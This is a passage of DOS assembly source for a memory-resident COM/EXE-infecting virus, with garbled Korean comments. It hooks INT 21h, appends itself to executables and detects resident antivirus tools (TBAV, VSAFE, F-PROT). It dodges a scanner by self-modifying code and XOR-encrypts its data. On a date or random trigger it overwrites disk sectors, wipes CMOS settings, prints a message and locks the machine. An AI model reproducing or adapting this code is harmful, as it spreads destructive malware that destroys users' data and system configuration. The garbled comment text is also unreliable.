  631.           mov     dx,offset Buffer4F
  632.           call    callInt21
  633.  
  634.           mov     ax,4200h
  635.           Pop     CX                         ; FileSize
  636.           Pop     DX                         ; FileSize+2
  637.           int     21h
  638.  
  639.           mov     ah,40h                     ; ña╖í£ß»a │aïí
  640.           mov     cx,offset End_Virus
  641.           xor     dx,dx
  642.           Int     21h
  643.  
  644.           mov     ax,4200h
  645.           mov     dx,word ptr FileSize
  646.           mov     cx,word ptr FileSize[2]
  647.           int     21h
  648.  
  649.           mov     ah,40h                     ; û⌡ªüªà╖e ñ߃▒
  650.           xor     cx,cx
  651.           Int     21h
  652.           jmp     InfectedTime
  653.  
  654. ;<><><><><><><><><><><><><><><><><><><><><><>
  655.  VirInt24:
  656.           XOR     AL,AL                      ; ╡A£ß └߃íƒi óü»í╨eöa.
  657.           IRET
  658.  
  659. ;<><><><><><><><><><><><><><><><><><><><><><>
  660. ;          ña╖í£ß»a »í╕b
  661. ;<><><><><><><><><><><><><><><><><><><><><><>
  662.   Virus_Start:                               ; COM »í╕b
  663.           NOP
  664.           call    Chk_Installed              ; ña╖í£ß»a ¼w║ü╡aªü ê±¼a
  665.           or      ax,ax
  666.           jnz     change_cs                  ; 0 ╖í ┤aôííe CS êt ñaÄüïí
  667.           NOP
  668.  
  669. ;<><><><><><><><><><><><><><><><><><><><><><>
  670. ; ╢Ñ£ü COM Ñóèü ╨ü¼ß »⌐╨ù
  671. ;<><><><><><><><><><><><><><><><><><><><><><>
  672.           nop
  673.           mov     si,offset Restore_COM+100h ; Ñó¼a╨i Éü╢w╖ü ║ü¡í
  674.           mov     di,Com_Size+100h           ; ╢Ñ£ü ╠a╖⌐ ï⌐╖í
  675.           add     di,offset End_virusCOM+100h; ña╖í£ß»aï⌐╖í+╢Ñ£üï⌐╖í=╠a╖⌐╖üÅ{
  676.           push    di                         ; ╡½ï⌐ë╡╖ü ║ü¡í
  677.           mov     cx, 000Fh                  ; Ñó¼a╨i Éü╢w╖ü ï⌐╖í
  678.           repz    movsb
  679.           RET                                ; ╠a╖⌐╖ü Å{╖a¥í ╕±╧a(╢ß╡A¼ß diêt)
  680.           NOP
  681.           NOP
  682.  
  683.  Restore_COM:                                ; COM ╠a╖⌐ Å{ªüªà╡A¼ß »⌐╨ùûQ
  684.           mov     si,offset End_virusCOM+100h    ; ╢Ñ£ü ╠a╖⌐╖ü »í╕b ªüªà
  685.           mov     cx,word ptr Com_size+100h  ; COM ╠a╖⌐╖ü ï⌐╖í
  686.           mov     di,100h                    ; ╠a╖⌐╖ü └ß╖q ªüªà
  687.           push    di                         ;
  688.           repz    movsb                      ; Ñó¼a
  689.           RET                                ; »a╚é╡A 100hêa ╕ß╕wûA┤߼ߠ100h¥í
  690.                                              ; ╕±╧a╨q
  691.  
  692.  Change_CS:                                  ; EXE ╡┴ ¡Aïaáσ╦a ╔╖╖⌐╨q
  693.           NOP
  694.           NOP
  695.           push    cs                         ; COM ╖e 100h ªü╚ß »í╕b╨aÉa EXEôe
  696.           pop     ax                         ; 00h ªü╚ß »í╕b╨ü ║ü¡íƒi ê{ëA╨eöa.
  697.           add     ax,0010h
  698.           mov     ss,ax                      ; »a╚é╖i ñaÄàöa.
  699.           mov     sp,offset End_virus
  700.           nop
  701.           push    ax
  702.           mov     ax,offset Res_Virus        ; ╕±╧a╨i ë╡╖e Res_Virus
  703.           push    ax
  704.           RETF                               ; ╕±╧a
  705.           DB      '    '                     ; ºÑë╖êe
  706.  
  707.  EXE_Start:                                  ; EXE ╠a╖⌐╖í »í╕b╨aôe ë╡
  708.           NOP
  709.           NOP
  710.           mov     word ptr CS:[EXE_AX],AX    ; ╢Ñ£ü AX êt ╕ß╕w
  711.           call    Chk_Installed              ; £æ╡A ña╖í£ß»aêa ╖╢ôe╗íê±¼a
  712.           or      ax,ax
  713.           jnz     Res_Virus
  714.  
  715.           call    EXE_DATA_ENCRY             ; ╢Ñ£ü EXE ╠a╖⌐╖ü ┤q╤íƒi ╬àöa.
  716.           nop
  717.           mov     ax,es                      ; ╢Ñ£ü EXE ╠a╖⌐╖i »⌐╨ù╨eöa.
  718.           add     ax,0010h
  719.           add     cs:[Exe_CS],ax
  720.           add     cs:[Exe_SS],ax
  721.           mov     ax,CS:[EXE_AX]             ; ╢Ñ£ü AX êt Ñóèü
  722.           mov     ss,CS:[Exe_SS]             ; »a╚é Ñóèü
  723.           mov     sp,CS:[Exe_SP]
  724.           jmp     dword ptr cs:[Exe_IP]      ; ╕±╧a
  725.  
  726.  Res_Virus:                                  ; ña╖í£ß»aƒi £æ╡A ¼w║ü »í╟Ñöa.
  727.           mov     ah,2Ah                     ; ╡íôi╖e ía├⌐╖Ñêa?
  728.           Int     21h
  729.           cmp     cx,1995                    ; 1995æe╖Ñêa?
  730.           jnz     Decode_MSG
  731.           cmp     dh,4                       ; 4╢⌐öi?
  732.           jnz     Decode_MSG
  733.           mov     byte ptr CS:[Active],01    ; ╤╔ò╖╨q
  734.  Decode_MSG:
  735.           call    Msg_Encrypting             ; íA»í╗í ┤q╤í╤┴ƒi ╬àöa.
  736.           nop
  737.           mov     cs:PSP1,es                 ; ╕ü»⌐╨ù»í ¼a╢w╨i êt ╕ß╕w
  738.           NOP
  739.           mov     cs:PSP2,es
  740.           mov     cs:PSP3,es
  741.  
  742.           mov     byte ptr CS:[F_AVDF],00    ; ┤e╦í ñé»í╢w òA╖í╚ß ╠a╖⌐ èüÑi
  743.           mov     cx,offset End_Memory
  744.           xor     si,si
  745.           push    es
  746.           pop     ax                         ; ╕ß╕w╨ûöσ es êt
  747.           add     ax,0010h
  748.           mov     es,ax
  749.  
  750.           nop
  751.           xor     di,di
  752.           push    cs                         ; cs=ds
  753.           pop     ds
  754.  
  755.           push    es
  756.           mov     ax,offset Allocate_Mem     ; ña╖í£ß»aêa ╕üñü├í╥ü╡A ╕±╧a╨ië╡
  757.           push    ax
  758.           repz    movsb
  759.           RETF
  760.  
  761.  Allocate_Mem:    ; ña╖í£ß»aêa ¼a╢w╨i áe╟q╖ü £æáe╖i └a╗í╨eöa.
  762.           nop
  763.           push    cs
  764.           pop     ax
  765.           mov     ss,ax
  766.           mov     sp,offset End_VIRUS        ; »a╚é╖ü ╕ü¼Θ╕≈
  767.  
  768.           mov     bx, PARASIZE
  769.           mov     ah,4Ah                     ; £æ ╟aïí ñaÄüïí (ña╖í£ß»aáe╟qáe
  770.           mov     es,CS:PSP1                 ; └a╗í)
  771.           int     21h
  772.  
  773.           xor     ax,ax                      ;
  774.           mov     ds,ax
  775.           mov     si,0083h                   ;
  776.           lds     bx,ds:[SI+1]               ; SI=0084h
  777.           mov     cs:word ptr OldInt21,bx
  778.           mov     cs:word ptr OldInt21[2],ds
  779.           mov     ds,ax
  780.  
  781.           push    cs                         ; cs=es
  782.           pop     es
  783.  
  784.           cli                                ; CLI,STIƒi ┤e╨aíe »í»a╔Q╖í ╕≈╗í
  785.           mov     ds:[SI+3],ES
  786.           mov     word ptr ds: [SI+1],offset VirInt21
  787.           sti
  788.  
  789.  Search_RD:       ; öa»í »⌐╨ù╨aïí ╢ß╨ü¼ß ╧⌐╢a╨e êtùi╖i ┤i┤aÉàöa.
  790.           xor     si,si
  791.           mov     ds,ES:PSP1
  792.           nop
  793.           mov     ds,ds:[002ch]              ; »⌐╨ù»í╟Ñ ╠a╖⌐╖ü ╖íƒq╖i ┤i┤aÉàöa.
  794.           nop
  795.  
  796.  Search_RD_LOOP:
  797.           cmp     word ptr DS:[SI],0000      ; ╠a╖⌐╖íƒq╕σ╡Aôe 0000╖íöa.
  798.           nop                                ; ╤┼ëw ºi£Γ ªüªà╖i Ñí£a!
  799.           jz      Get_FileName               ; PSP:[002Ch] --> ¡Aïaáσ╦a
  800.           nop
  801.           inc     si
  802.           jmp     Search_RD_LOOP
  803.  
  804.  Get_FileName:
  805.           mov     dx,si
  806.           add     dx,+04                     ; ╤e╕ü »⌐╨ùûAôe ╠a╖⌐╖íƒq
  807.           mov     ax,004Bh                   ; ╢Ñ£ü ╠a╖⌐ »⌐╨ù
  808.           mov     bx,offset ENV_BLOCK        ;
  809.           xchg    ah,al                      ;
  810.           pushf
  811.           call    dword ptr cs:[OldInt21]    ; ╤í┬ë ╗b »⌐╨ù╥ü öa»í ò⌐┤a╡Ñöa.
  812.  
  813.           nop
  814.           mov     al,49h                     ; íAííƒí╡A¼ß ╣Aêß
  815.           push    ds
  816.           pop     es
  817.           call    callInt21
  818.           nop
  819.  
  820.           NOP                                ; ªü╕b╢w ªüªà
  821.           mov     ah,2ch                     ; »íêe ┤i┤aÉüïí
  822.           int     21h
  823.           cmp     cl,05h                     ; 05ªà ╖Ñêa?
  824.           jz      Kill_Disk
  825.  ReMain:  mov     al,31h                     ; £æ╡A ¼w║ü╨eöa.
  826.           mov     dx, PARASIZE
  827.           call    callInt21
  828.  
  829.  Kill_Disk:
  830.           Push    cs
  831.           pop     ds
  832.           push    cs
  833.           pop     es
  834.  
  835.           call    Get_RandomAL               ; £àö±╖ü AL êt╖i èü╨eöa.
  836.           and     al,02                      ; 1/3╖ü ╤┬ƒI
  837.           cmp     al,02
  838.           jnz     Print_M                    ; óà╕a ┬ë¥b╖a¥í ╕±╧a
  839.  
  840.  Get_Drive:
  841.           mov     ah,19h                     ; ùa£a╖íºa ┤i┤aÉüïí
  842.           int     21h
  843.           mov     dl,al
  844.           cmp     dl,02                      ; ╨aùa ╖Ñêa?
  845.           jb      No_HDD
  846.           add     dl,07eh                    ; C=80h, D=81h
  847.  No_HDD:  mov     ax,0309h                   ; Msg1 ªüªà╖í ¼a╢w║ù╖Ñ ùí»a╟a
  848.           mov     bx,offset Msg1             ; ╡A ës┴a░ß╗Ñöa.
  849.           mov     cx,0001                    ; ╠a╦í¡e ªüªàªü╚ß ╠aèAûEöa.
  850.           mov     dh,0
  851.           mov     byte ptr DS:[INT_13],0CDh  ; CD ôe Int ╖íöa. (TBSCAN╡A¼ß ╗Ñöe
  852.  INT_13   DB      00h                        ; ┤eûAëA╨q)
  853.           DB      13h
  854.  
  855.  Destroy_CMOS:    ; CMOS ╖ü òA╖í╚ß êt╖i ííûü ╗í╢íñ߃Ñöa.
  856.           Mov     cx,0064
  857.  Doing:
  858.           nop
  859.           mov     al,cl
  860.           out     70h,AL                     ; 70═í╦a¥í òA╖í╚ß ÑíÉæ
  861.           mov     AL,0FFh
  862.           out     71h,AL
  863.           loop    Doing
  864.  
  865.  Print_M:
  866.           mov     si, offset msg1            ; SI=┬ë¥b╨i óà╕a╢ß├í
  867.  Sound:   mov     bx,008Fh
  868.           Int     09                         ; ½ó ¡íƒíƒi Éàöa.
  869.           cld
  870.           lodsb                              ; DS:SI -> AL
  871.           or      al,al                      ; AL╖í 0╖ííe Å{╖íöa.
  872.           jz      Endless_Loop               ; ùí»a╟a ╠aèA ₧ü╦Ñ
  873.           mov     cx,123                     ; ┬ë¥b ¡óòíƒi ôaƒíëA╨eöa.
  874.  Speed_Down:
  875.           loop    Speed_Down
  876.           inc     cx                         ; CX=0001
  877.           cmp     al,10h
  878.           jb      PrtMess                    ; óà╕a ┬ë¥b
  879.           mov     ah,09h
  880.           Int     10h
  881.  PrtMess:
  882.           Mov     ah,0Eh
  883.           Int     10h
  884.           Jmp     Sound
  885.  Endless_Loop:
  886.           JMP     Endless_Loop               ; »í»a╔Q ╕≈╗í»í╟íïí
  887.  
  888. ;<><><><><><><><><><><><><><><><><><><><><><>
  889. ;         EXE ╢Ñ£ü ╕a₧a ┤q╤í╤┴
  890. ;<><><><><><><><><><><><><><><><><><><><><><>
  891.  EXE_DATA_ENCRY:
  892.           mov     Si,offset exe_SS           ; SS ªüªàªü╚ß
  893.           mov     cx,0010                    ; 10 ña╖í╦a
  894.  Ra_Time: mov     al,00                      ; Éa║ù╡A ALêt ñaı
  895.           nop
  896.  E_loop:  inc     ax                         ; INC AX/DEC AX
  897.           nop
  898.  AL_XOR:  xor     al,70h                     ; XOR ┤q╤í
  899.           nop
  900.           xor     word ptr cs:[SI],AX        ; ╢Ñ£ü ╕a₧a ┤q╤í
  901.           inc     ah                         ; AH ╗wêa
  902.           inc     si
  903.           nop
  904.           loop    e_loop
  905.           RET
  906.  
  907. ;<><><><><><><><><><><><><><><><><><><><><><>
  908. ;         ña╖í£ß»a ¼w║ü╡aªü ê±¼a
  909. ;<><><><><><><><><><><><><><><><><><><><><><>
  910.  Chk_Installed:
  911.           CLD
  912.           Push    ES
  913.           xor     si,si                      ; F-PROT ╗Ñöe ïíôw ñw╨ü
  914.  AV_F:    inc     si
  915.           nop
  916.           cmp     si,1234h
  917.           jnz     AV_F
  918.  
  919.  ChkFSP:  mov     al,0FFh                    ; FF0Fh
  920.           mov     ah,0Fh
  921.           xchg    ah,al                      ;£æ╡A FSP êa ╣Ñ╕ü╨aôeêa?
  922.           NOP
  923.           int     21h
  924.           cmp     ax,0101h                   ; axêa 0101╖ííe ╣Ñ╕ü.
  925.           jz      NoRESinMem                 ; £æ╡A FSP êa ╣Ñ╕ü╨eöa.
  926.  
  927.           mov     ax,3521h                   ; ES:BX
  928.           NOP
  929.           Int     21h
  930.           cmp     word ptr ES:[000Ah],'BT'   ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
  931.           jnz     ChkVSAFE                   ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
  932.           cmp     word ptr ES:[000Ch],'RD'
  933.           jz      NoRESinMem                 ; £æ╡A TBAV êa ╣Ñ╕ü╨eöa.
  934.  ChkVSAFE:
  935.           cmp     byte ptr ES:[BX],0EAh      ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
  936.           jnz     ChkVirinM
  937.           cmp     word ptr ES:[BX+5],80FBh   ;
  938.           jnz     ChkVirinM
  939.           jmp     NoRESinMem
  940.  ChkVirinM:
  941.           Mov     Ah,30h                     ; AX=0F070h
  942.           add     ah,70h                     ; íAííƒí╡A¼ß ña╖í£ß»a ╣Ñ╕ü ╡aªü
  943.           NOP                                ; ê±¼a
  944.           mov     al,0F0h                    ;
  945.           xchg    ah,al
  946.           Int     21h
  947.           POP     ES
  948.           RET
  949.  
  950.  NoRESinMem:
  951.           xor     ax,ax                      ; AXêa 0000╖ííe £æ¼w║ü┤e╨q
  952.           POP     ES
  953.           RET
  954.  
  955.  
  956.  
  957.  SetPnt:                                     ; ═í╖Ñ╚ß ╖íò╖
  958.           xor     cx,cx
  959.           xor     dx,dx
  960.           mov     ah,42h
  961.           int     21h
  962.           RET
  963.  
  964. ;<><><><><><><><><><><><><><><><><><><><><><><>
  965. ;         íA»í╗í ┤q╤í╤┴ (from MacGyver)
  966. ;<><><><><><><><><><><><><><><><><><><><><><><>
  967.  Msg_Encrypting:
  968.           PUSH    AX
  969.           PUSH    SI
  970.           PUSH    CX
  971.           PUSH    DS
  972.  
  973.           push    cs                         ; CS=DS
  974.           pop     ds
  975.  
  976.           mov     ah,DS:[ME_Data]            ; ┤q╤í ╟í
  977.           mov     si, offset MEP_start       ; ┤q╤í »í╕b╕±
  978.           mov     cx, offset MEP_End - MEP_start ; ï⌐╖í
  979.  
  980.  ME_Loop:
  981.           xor     byte ptr DS:[SI],AH        ; ┤q╤í╤┴
  982.           inc     si
  983.           NOP
  984.           NOP
  985.           loop    ME_Loop
  986.  
  987.           POP     DS
  988.           POP     CX
  989.           POP     SI
  990.           POP     AX
  991.           RET
  992.  
  993. ;<><><><><><><><><><><><><><><><><><><><><><>
  994. ;         òA╖í╚ß
  995. ;<><><><><><><><><><><><><><><><><><><><><><>
  996.  Com_size      DW 00ffh                    ; COM ╠a╖⌐╖ü ╟aïí
  997.  ME_Data       DB ?                        ; íA»í╗í╡A ¼a╢wûE ┤q╤í╤┴ ╟íêt
  998.  
  999. ; ╕ü»⌐╨ù╖i ╢ß╨e ºi£Γ
  1000.  ENV_BLOCK     DW ?                        ; ╕ü»⌐╨ù╢w ºi£Γ
  1001.                DW 80h                      ;
  1002.  PSP1          DW ?
  1003.                DW 5ch                      ;
  1004.  PSP2          DW ?
  1005.                DW 6ch                      ;
  1006.  PSP3          DW ?
  1007.  
  1008. ;<><><><><><><><><><><><><><><><><><><><><><>
  1009. ;    «à«ü╨e ╠a╖⌐ ╖íƒq »í╕b╕± èü╨aïí
  1010. ;<><><><><><><><><><><><><><><><><><><><><><>
  1011.  
  1012.  Get_FstName:
  1013.           Push    cs
  1014.           pop     es
  1015.           mov     si,dx                      ; ╠a╖⌐ ╖íƒq »í╕b
  1016.           mov     cs:[FN_Start],dx           ;
  1017.  
  1018.  RealFN_LOOP:
  1019.           lodsb                              ; DS:SI -> AL
  1020.           or      al,al                      ; ╠a╖⌐ Å{╖Ñêa?
  1021.           jz      Chk4BNow
  1022.           cmp     al,'\'                     ; ùí¥B╔íƒí èüÑi╖Ñêa?
  1023.           jz      SaveSI
  1024.           cmp     al,':'                     ; ùa£a╖íºa èüÑi
  1025.           jnz     RealFN_LOOP
  1026.  SaveSI:  mov     cs:[FN_Start],si           ; êt╖i ╕ß╕w
  1027.           jmp     RealFN_LOOP
  1028.  Chk4BNow:
  1029.           RET
  1030.  
  1031.  
  1032.                NOP
  1033.  Mul200        DW  200h                      ; EXE ëü¼e╨iÿü ¼a╢wûQ
  1034.  Active        DB  ?                         ; ña╖í£ß»a ╤╔ò╖
  1035.  Exe_AX        DW  ?                         ; EXE ╠a╖⌐╖ü AX êt ╕ß╕w
  1036.                NOP
  1037.  Exe_SS        DW  ?                         ; EXE ╠a╖⌐╖ü »a╚é
  1038.  Exe_SP        DW  ?                         ; »a╚é╖ü ¡Aïaáσ╦a
  1039.                NOP
  1040.                NOP
  1041.  Exe_IP        DW  ?                         ; ip êt
  1042.  Exe_CS        DW  ?                         ; CS êt
  1043.                Nop
  1044.                nop
  1045.  End_VirusCOM:                               ; COM ╡A êq╡q ûAôe ï⌐╖í
  1046.           MOV     AX,4C00h                   ; ┬A┴í »⌐╨ù»í ╕≈¼w╕Γ╖a¥í Å{ÉaëA ╨q
  1047.           Int     21h
  1048.  
  1049.           DB      48 DUP (00h)               ; »a╚é êt
  1050.  End_Virus:                                  ; ña╖í£ß»a╖ü Å{
  1051.  
  1052. ; £æ╡A¼ßáe ¼a╢wûEôe êtùi
  1053.  Buffer4F        DB 66h dup (?)             ; ╠a╖⌐╖ü Éü╢w
  1054.  FileTime        DW ?                       ; ╠a╖⌐╖ü »íêe
  1055.  FileSize        DD ?                       ; EXE ╠a╖⌐╖i êq╡q»í╟⌐ÿü ¼a╢w
  1056.  FN_Start        DW ?                       ; ╠a╖⌐ ╖íƒq »í╕b╕±
  1057.  DosDTA          DD ?                       ; ╢Ñ£ü╖ü DTA êt
  1058.  NEtype          DW ?                       ; NE ╚a╖│╖ü EXE ê±¼a
  1059.  F_AVDF          DB ?                       ; ñé»Ñ╡A¼ß ¼a╢w╨aôe ╠a╖⌐╖Ñêa?
  1060.  F_Execute       DB ?                       ; íyñσ »⌐╨ùûA┤÷Éa?
  1061.  End_Memory:                                ; ╕σ┴A ña╖í£ß»a╖ü ï⌐╖í
  1062.  
  1063.  VIRUS    ENDS
  1064.           END     ENTRY
  1065.